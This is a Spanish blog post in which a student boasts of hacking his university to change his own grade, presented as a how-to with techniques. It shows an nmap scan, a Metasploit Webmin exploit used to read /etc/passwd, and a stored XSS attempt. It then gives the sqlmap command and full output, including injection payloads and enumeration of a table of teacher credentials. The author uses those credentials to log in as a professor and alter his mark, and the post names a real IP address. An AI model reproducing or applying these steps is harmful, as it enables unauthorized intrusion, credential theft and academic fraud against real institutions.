Hackeando mi universidad (Historía + Técnicas)

El caso...hoy les traigo un post,entrada,tema como os quieran llamarlo hoy las cosas se tornan diferentes o bueno hace  un año cuando a mis 15 años entro a la universidad a estudiar lo que siempre me gustó la informática .desde cambiar un fondo de pantalla hasta cualquier cosa que se me atravesaba en mi camino...pero bueno en la secundaria(bachillerato) no me enseñaban todo lo que yo quería saber pues al menos más haya de usar Word y Ppoint ustedes saben..lo ultimo en tecnología.xD...el ultimo año en el colegio empece a leer sobre  la seguridad informática y ya sabia algo del misterioso Linux/GNU, como buen niño empece a ver cuanta película de hackers había para haber si lograba algún día ser uno..pero cuando estaba acabando el colegio me di cuenta que la única forma...no de ser hacker ni eso..si no de aprender algo es sencillamente intentando cosas que no tienen nada que ver con ello...tal vez suene raro yo también lo pensé por que alguna vez lo leí en un periódico ..pero tal vez soy solo yo..ustedes verán que quieren aprender yo aun aprendo..la cuestión es saber que es lo que quieres aprender.

Llegamos a la universidad:


30 de Febrero.....nah..por fin entrare a estudiar lo que me gusta  Informática....no diré la carrera por que no cambiará nada el caso es que bueno conocí mucha gente..lo normal tanto amigos muy buenos..y profesores muy mala clase pero..hubo algo..esa condenada profesora...la de diagramación de sistemas....esa tipa si que me jodió tal vez fue por que la corregí en algo que no era que lo supiera simplemente la lógica hace su trabajo....igual ..me termino rompiendo los huevos...así que dije a lo muy lammer...voy a hackear la universidad y así ingreso a las notas de los profesores y arreglo mi nota por que no me la merecía me quería poner un 3 que es lo mínimo para pasar la materia.

Resulta que empece a buscar como "juakiar" y cosas así hasta que me encontré con Backtrack ..y pues bueno empece a apasionarme por la SI mucho mucho y hoy les vengo a mostrar como lo hice

Analizando el objetivo:

No dire el nombre de la u por motivos de seguridad..

Bueno ya que no sabia un carajo que era lo que iba a hacer empece simplemente mirando el archivo robots.txt era lo poco que había aprendido  de "hacking" en lo que llevaba el semestre..el caso es que me encuentro con esto:

#
# For syntax checking, see:
# http://www.sxw.org.uk/computing/robots/check.html

User-agent: *
Disallow: /administrator/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /images/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /libraries/
Disallow: /logs/
Disallow: /media/
Disallow: /modules/
Disallow: /plugins/
Disallow: /templates/
Disallow: /tmp/

No sabia que eran las carpetas pero cuando leí administrador me creí un dios de las computadoras..Kevin Mintick se quedo en parvulos....pronto me di cuenta que era una estupidez  .-.  ingrese la url mas el /administrator y o sorpresa un admin panel de joomla.

Inmediatamente empece a buscar en google sobre joomla..que era para que se usaba... después de aclarar eso empezaron las búsquedas de vulnerabilidades ya que para mi esto era un concepto claro."si encuentras que algo es vulnerable por su versión cabe la posibilidad de explotar la misma y hacerte a su poder"

En mi esperanza por encontrar el programa mágico que lo hiciera no logre nada me desmoralice por no poder avanzar y lo deje por un mes..solo seguí estudiando.

Poco después me carcomió la cabeza el tema del hacking de nuevo y esta vez fue enserio empece a leer en foros..nunca me registre en uno además de este hace solo un mes....vi vídeos..y leí la teoría pronto el mapa se aclaraba y poco a poco sabia que hacer para atacar y llegar al éxito.

Solo que aún no sabia que lo lograría.....

Comenzó el segundo semestre...

...y yo ya tenia recién instalado mi flamante backtrack  así que mire los menúes de las apps que traía y empece a averiguar una por una en google..los tutoriales simplemente estaban allí y yo nunca me detuve antes a verlos por mi inmadurez...(pero aun tenes 16)..lo se pero ya aprendí  que para saber ahí que leer y mucho!

Empece a Metasploit...la navaja suiza...y bueno lo de siempre un escaneo en nmap me diría contra que estoy jugando.

nmap ipuniversidad  -v -p 1-65535

ya saben.....la p es por el rango de puertos nunca sabes que puede haber mas arriba del puerto 8000 y el verbose (v) ...me gusta ver que pasa a cada instante.

Y se empezaron a aclarar las cosas....

El escaneo arrojo las siguientes cosas...


Pero mi objetivo nunca fue un defacement o apoderarme de alguna maquina...ya que las tenia todos los semestres a mi disposición sin embargo tal vez el registro de notas estaba alojado en la misma página donde estaba la pagina web .

Así que era hora de usar metasploit haber si se podia hacer algo .

Metasploit time!

Habia un puerto ssh..lo intente....no funciono.

El 53 solo se podia acceder desde una maquina en la intranet

El puerto 80 dahh solo me redirigia al login de joomla....

Pero el puerto 10000 me dio una grata sorpresa con mi metasploit....



SI! habia un exploit justo para webmin..para los que no saben que es...es muy sencillo un panel de administracion web para sistemas basados en linux.

Listo era cuestion de setear las variables y ver que habia :)



Lo logre....aun no lo creia tenia acceso a todos los directorios del servidor...solo podia leer datos :( pero pues era ya un avance Entre a ver que habia en etc/passwd

Si ! ahí estaban los usuarios del server pero ningun codigo del SIGA :( :)

El sitio fue mio por un mes mas o menos..antes de que le dijiera al admin yo aun no habia logrado mi cometido...cambiar mi nota..ya que al parecer el server de notas estaba en otra parte.solo las podia consultar..y donde lo hacia pues en el SIGA(software integrado de gestion academica) una plataforma web para estudiantes(ver notas,pagar el semestre y pedir tutorias)...y el de los profesores....(cambio de notas)!!

Encontrando bichos raros.----

este es el panel del siga


Como siempre entre a mi siga a ver que habia para hacer o que se podia hacer


El acceso era muy simple el numero del estudiante que eras más el año un ejemplo:

20121245

Y la pass era el documento de identidad

Y entre como de costumbre!


Habia algo aqui un xss persistente...pero solo lo podia ver yo  en esa casilla donde dice"que opinas del siga " lo que se escribia se actualizaba en la parte que decia opinion así que cuando me di cuenta dije pues hacer la prueba entonces intente insertar lo de simpre una imagen:

<img src="afsgsgsgs.jpg">
Pero al parecer esta casilla tiene filtros pero no tenia limite de caracteres así que procedi  a encodear mi xss haber que pasaba...esta pagina es muy buena..

http://evuln.com/tools/xss-encoder/

Listo!

Se hace la magia.


Daba igual no me servia para un carajo!

Pero fue divertido xD

INYECTANDO FELICIDAD

Empece a navegar por la web haber si encontraba algun path vulnerable a SQLi  ya saben  index.php?id= o algo asi pero el administrador tampoco era tan n00b así que hizo que la url fuera parecida a esta así los ScriptKiddies no joderian mucho...


Pero para un vivo como el admin ahi otra más vivo aún xD

Al ser joomla las paginas por lo general se cargan así:


donde id es un numero que es consultado en una base de datos que a su ves arroja lo correspondiente.

Entonces construi esta url por mi cuenta:


Y solo empece a cambiar el numero haber si arrojaba algo ...listo ya tenemos otro metodo para llamar las url.....inmediantamente probe si era vulnerable a SQLi con la clasica comilla me mando a un 404 personalizado.


Intente probar con sqlmap pero no funciono así que desistí de la inyeccion sql.

SE ESTABA ACABANDO EL SEMESTRE!!

Era hora de que los profesores pasaran las nuevas notas así que me tenia que apurar si no queria tener que ver de nuevo a esa profesora del demonio!

Resulta que cada fin  de semestre se hace una autoevaluacion ...así que era obligatorio...ingresabas tu numero y llenabas tu encuesta.


FINISH HIM!

Se me ocurrio insertar una comilla haber que pasaba y para mi grata sorpresa..

You have an error in your SQL syntax; check the manual that corresponds  to your MySQL server version for the right syntax to use near  'TYPE=MyISAM CHARACTER SET `utf8`' at line 29 SQL=CREATE TABLE  `jos_banner` (   `bid` int(11) NOT NULL auto_increment,   `cid` int(11) NOT NULL default '0',   `type` varchar(30) NOT NULL default 'banner',   `name` varchar(255) NOT NULL default '',   `alias` varchar(255) NOT NULL default '',   `imptotal` int(11) NOT NULL default '0',   `impmade` int(11) NOT NULL default '0',   `clicks` int(11) NOT NULL default '0',   `imageurl` varchar(100) NOT NULL default '',   `clickurl` varchar(200) NOT NULL default '',   `date` datetime default NULL,   `showBanner` tinyint(1) NOT NULL default '0',   `checked_out` tinyint(1) NOT NULL default '0',   `checked_out_time` datetime NOT NULL default '0000-00-00 00:00:00',   `editor` varchar(50) default NULL,   `custombannercode` text,  

Fuck Yeah!! pero  como rayos haces una inyeccion sql dentro de una caja de texto?

Es hora de que SqlMap haga su trabajo.



Pero primero habia que ver que era lo que se enviaba

Haci que usaremos HTTP live headers para ver que pasa.

http://190.26.192.198//paquetes/autenticacion/index.php

    POST //paquetes/autenticacion/index.php HTTP/1.1
    Host: 190.26.192.198
    User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: http://ipuniversidad//paquetes/autenticacion/index.php?accion=InicioEncuesta
    Cookie: PHPSESSID=oqaqa2oqt0jp2f9psi8j3958t5
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 120
    redirect=index.php&accion=autenticarEstudiante&usu_login_aut=MICODIGO DE ESTUDIANTE&IMAGE.x=0&IMAGE.y=0

sito nuestro parametro era  "usu_login_aut" así que omo yo no voy a inyectar en la caja por que tenia limite de caracteres procedi a inyectar una sentencia sql en un metodo POST con sqlmap

Abri mi backtrack copie lo que me arrojo el HTTP live headers en un bloc de notas  lo guarte y lo llame  codigos.txt  cualquier nombre serviria.

Procedi a abrir el sqlmap

./sqlmap -r /root/Desktop/codigos  -p usu_login_aut --dbs

-r ==leer un archivo de texto
-p==especificar el parametro que se quiere inyectar
--dbs == listar bases si es inyectable



Probemos ..BOOM!


Listo  el resultado arrojo lo siguiente:

[12:21:54] [INFO] reading file codigos.txt
[12:21:54] [INFO] testing connection to the target url
[12:21:55] [INFO] testing if the url is stable, wait a few seconds
[12:21:56] [INFO] url is stable
[12:21:56] [INFO] testing if POST  parameter 'usu_login_aut' is dynamic
[12:21:57] [INFO] confirming that POST  parameter 'usu_login_aut' is dynamic
[12:21:57] [INFO] POST parameter usu_login_aut' is dynamic
[12:21:57] [INFO] heuristic test shows that POST  parameter 'usu_login_aut' might be injectable (possible DBMS: MySQL)
[12:21:57] [INFO] testing for SQL injection on POST  parameter usu_login_aut'
[12:21:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:21:58] [WARNING] reflective value(s) found and filtering out
[12:21:59] [INFO] POST  parameter 'usu_login_aut' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[12:21:59] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[12:22:00] [INFO] POST  parameter 'usu_login_aut' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[12:22:00] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[12:22:00] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[12:22:21] [INFO] POST  parameter 'usu_login_aut' is 'MySQL > 5.0.11 AND time-based blind' injectable
[12:22:21] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[12:22:21] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found
[12:22:21] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[12:22:24] [INFO] target url appears to have 18 columns in query
[12:22:27] [INFO] POST parameter 'usu_login_aut' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'usu_login_aut' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 26 HTTP(s) requests:
---
Place: POST

Type: boolean-based blind
 Title: AND boolean-based blind - WHERE or HAVING clause
 Payload: id=59 AND 9932=9932

 Type: error-based
 Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
 Payload: id=59 AND (SELECT 6298 FROM(SELECT COUNT(*),CONCAT(0x3a7871723a,(SELECT (CASE WHEN (6298=6298) THEN 1 ELSE 0 END)),0x3a7474633a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

 Type: UNION query
 Title: MySQL UNION query (NULL) - 18 columns
 Payload: id=59 LIMIT 1,1 UNION ALL SELECT CONCAT(0x3a7871723a,0x78544b4f706652666f69,0x3a7474633a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#

 Type: AND/OR time-based blind
 Title: MySQL > 5.0.11 AND time-based blind
 Payload: id=59 AND SLEEP(5)
---

[12:22:30] [INFO] the back-end DBMS is MySQL
web server operating system: Windows Vista
web application technology: ASP.NET, PHP 5.2.13, Microsoft IIS 7.0
back-end DBMS: MySQL 5.0
[12:22:30] [INFO] fetching database names
[12:22:30] [INFO] the SQL query used returns 3 entries
[12:22:30] [INFO] retrieved: "information_schema"
[12:22:31] [INFO] retrieved: "autoevaluacion”
available databases [2]:                                                                                                                                 
[*] information_schema
[*] autoevaluacion

[12:22:31] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/www.universidad.edu.co'

[*] shutting down at 12:22:31

Ahora era solo listar las tablas con -D autoevaluacion --tables...
back-end DBMS: MySQL 5.0
[12:28:57] [INFO] fetching tables for database: 'autoevaluacion'
[12:28:57] [INFO] the SQL query used returns 4 entries
[12:28:57] [INFO] retrieved: "preguntas_estudiante"
[12:28:58] [INFO] retrieved: "preguntas_docente"
[12:28:58] [INFO] retrieved: "codigos_estudiante"
[12:28:59] [INFO] retrieved: "codigos_docente"

Database: autoevaluacion                                                                                                                                        
[4 tables]
+--------------+
| preguntas_estudiante |
| preguntas_docente     |
| codigos_estudiante     |
| codigos_docente         |
+-----------------------------+


LISTO TENIA ALGO LLAMADO CODIGOS DOCENTES Ahi estaba la mina de oro....

Ahora era solo listar las columnas  con -D autoevaluacion -T codigos_cdocentes --columns....
[12:32:38] [INFO] fetching columns for table 'ćodigos_docentes in database 'autoevaluacion'


Database: autoevaluacion                                                                                                                                    
Table: codigos_docentes

+--------------+--------------+
| Column    | Type      |
+--------------+--------------+
| activo    | int(11)   |
| apellidos | varchar(100) |
| cargo     | varchar(150) |
| ciudad    | varchar(150) |
| direccion | varchar(150) |
| email     | varchar(100) |
| empresa   | varchar(150) |
| id        | int(11)   |
| login     | varchar(100) |
| nombre    | varchar(100) |
| pais      | varchar(150) |
| telefono  | varchar(150) |
| temporal  | varchar(100) |
+--------------+--------------+

Listo! ahora solo seria dumpear los datos....que no mostrare aquí por razones obvias.

LO LOGRE obtuve el id y la cédula de los docentes!!!!!

Entre al panel de la profesora y cambie mi nota por un tres que era lo que al fin y al  cabo me llevo a todo esto.



El resto es historia patria...aun tengo los codigos de todos pero pues es mejor estudiar juicioso.!Yo solo cambie la nota por que no la merecia xD


Al admin le comente  y ya cerro la web de la encuesta...eso fue todo y no me critiquen dan duro xD

Hice mi mejor esfuerzo

Saludos CARPE DIEM

Fuentehttp://www.hackxcrack.es/
Hackeando mi universidad (Historía + Técnicas) Hackeando mi universidad (Historía + Técnicas) Reviewed by Zion3R on 19:37 Rating: 5